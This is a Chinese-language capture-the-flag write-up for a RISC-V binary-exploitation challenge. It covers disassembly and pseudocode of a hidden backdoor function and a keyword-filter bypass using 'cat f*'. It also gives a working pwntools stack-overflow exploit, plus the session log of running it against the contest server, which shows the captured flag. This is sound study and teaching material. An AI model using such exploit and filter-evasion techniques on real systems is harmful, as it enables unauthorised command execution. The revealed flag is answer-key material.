.text:0000000012345726 B7 67 34 12 lui a5, 12346h
.text:000000001234572A 93 85 87 8C addi a1, a5, -738h
.text:000000001234572E 13 85 81 87 la a0, unk_12347078
.text:0000000012345732 97 B0 CC ED E7 80 E0 07 call strstr
.text:0000000012345732
.text:000000001234573A AA 87 mv a5, a0
.text:000000001234573C 89 EF bnez a5, loc_12345756
.text:000000001234573C
.text:000000001234573E B7 67 34 12 lui a5, 12346h
.text:0000000012345742 93 85 07 8D addi a1, a5, -730h
.text:0000000012345746 13 85 81 87 la a0, unk_12347078
.text:000000001234574A 97 B0 CC ED E7 80 60 06 call strstr
.text:000000001234574A
.text:0000000012345752 AA 87 mv a5, a0
.text:0000000012345754 91 CF beqz a5, loc_12345770
.text:0000000012345754
.text:0000000012345756
.text:0000000012345756 loc_12345756: # CODE XREF: .text:000000001234573C↑j
.text:0000000012345756 B7 67 34 12 lui a5, 12346h
.text:000000001234575A 13 85 87 8D addi a0, a5, -728h
.text:000000001234575E 97 B0 CC ED E7 80 20 04 call puts
.text:000000001234575E
.text:0000000012345766 7D 55 li a0, -1
.text:0000000012345768 97 B0 CC ED E7 80 80 05 call exit
.text:0000000012345768
.text:0000000012345770 # ---------------------------------------------------------------------------
.text:0000000012345770
.text:0000000012345770 loc_12345770: # CODE XREF: .text:0000000012345754↑j
.text:0000000012345770 13 85 81 87 la a0, unk_12347078
.text:0000000012345774 97 B0 CC ED E7 80 C0 FE call system
.text:0000000012345774
.text:000000001234577C 01 00 nop
.text:000000001234577E A2 60 ld ra, 8(sp)
.text:0000000012345780 02 64 ld s0, 0(sp)
.text:0000000012345782 41 01 addi sp, sp, 10h
.text:0000000012345784 82 80 ret
伪代码及简要分析:
void backdoor(void)
{
char *pcVar1;
gp = &__global_pointer$;
puts("background debug fun.");
puts("input what you want exec");
read(0,&DAT_12347078,8);
pcVar1 = strstr(&DAT_12347078,"sh");
if ((pcVar1 == (char *)0x0) && (pcVar1 = strstr(&DAT_12347078,"flag"), pcVar1 == (char *)0x0)) {
system(&DAT_12347078);
return;
}
puts("no.");
/* WARNING: Subroutine does not return */
exit(-1);
}
一个小绕过:
if ((pcVar1 == (char *)0x0) && (pcVar1 = strstr(&DAT_12347078,"flag"), pcVar1 == (char *)0x0))
- 即我们发送的要执行的命令不能带"flag”
- 而我们
ls
命令查看到当前目录下就有一个flag文件,所以我们需要在不出现"flag"的情况下执行类似cat flag的命令 - 采用正则表达式即可绕过,用
f*
来代表flag
cat f*
wp #
可以明显的看出来程序存在栈溢出漏洞,而且程序还有一个后门函数,exp如下:
from pwn import *
context.update(arch="riscv", os="linux")
context.log_level = 'debug'
taolve = process("./pwn")
# taolve = process(["qemu-riscv64", "-L", "~/桌面/CTF/ycb2023/pwn1/login", "-g", "1234", "./pwn"])
# taolve = remote('tcp.cloud.dasctf.com', 23149)
offset = 0x100
backdoor = 0x123456ee
payload = b"a"*offset + p64(backdoor)
taolve.sendlineafter(b'name:', b'aaa')
taolve.sendafter(b'words', payload)
taolve.interactive()
# 最后绕过一个flag字符串的检测
# 直接cat f*就可以了
# DASCTF{49263227130109070012252996328021}
其实题目不难,如果用Ghidra转为伪代码就只是一道简单的栈溢出题目,但可以趁这个机会好好学习RSIC-V架构的指令集以及练习一下阅读汇编代码的能力
Linux终端 log 日志:
ta0lve@ta0lve:~/桌面/CTF/ycb2023/pwn1$ python3 exp.py
[+] Opening connection to tcp.cloud.dasctf.com on port 23149: Done
[DEBUG] Received 0x22 bytes:
b'RiskY LoG1N SySTem\n'
b'Input ur name:\n'
[DEBUG] Sent 0x4 bytes:
b'aaa\n'
[DEBUG] Received 0x1a bytes:
b'Hello, aaa\n'
b'Input ur words\n'
[DEBUG] Sent 0x108 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 ee 56 34 12 00 00 00 00 │·V4·│····│
00000108
[*] Switching to interactive mode
[DEBUG] Received 0x15 bytes:
b'background debug fun.'
background debug fun.[DEBUG] Received 0x1a bytes:
b'\n'
b'input what you want exec\n'
input what you want exec
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x41 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'libexec\n'
b'libx32\n'
b'pwn\n'
b'qemu-riscv64\n'
b'usr\n'
bin
dev
flag
lib
lib32
lib64
libexec
libx32
pwn
qemu-riscv64
usr
[DEBUG] Received 0x2f bytes:
b'background debug fun.\n'
b'input what you want exec\n'
background debug fun.
input what you want exec
$ cat f*
[DEBUG] Sent 0x7 bytes:
b'cat f*\n'
[DEBUG] Received 0x58 bytes:
b'DASCTF{49263227130109070012252996328021}\n'
b'background debug fun.\n'
b'input what you want exec\n'
DASCTF{49263227130109070012252996328021}
background debug fun.
input what you want exec
$
附录 #
学习与参考链接:
qemu-riscv64: could not open ‘/lib/ld-linux-riscv64-lp64d.so.1‘解决方法
补码/反码、零扩展和符号位扩展(Zero extension and Sign extension)
RISC-V 指令概况 - 计算机组成原理(2021年) (tsinghua.edu.cn)
RISC-V 手册 - 中国科学技术大学 (点击直接下载PDF文件)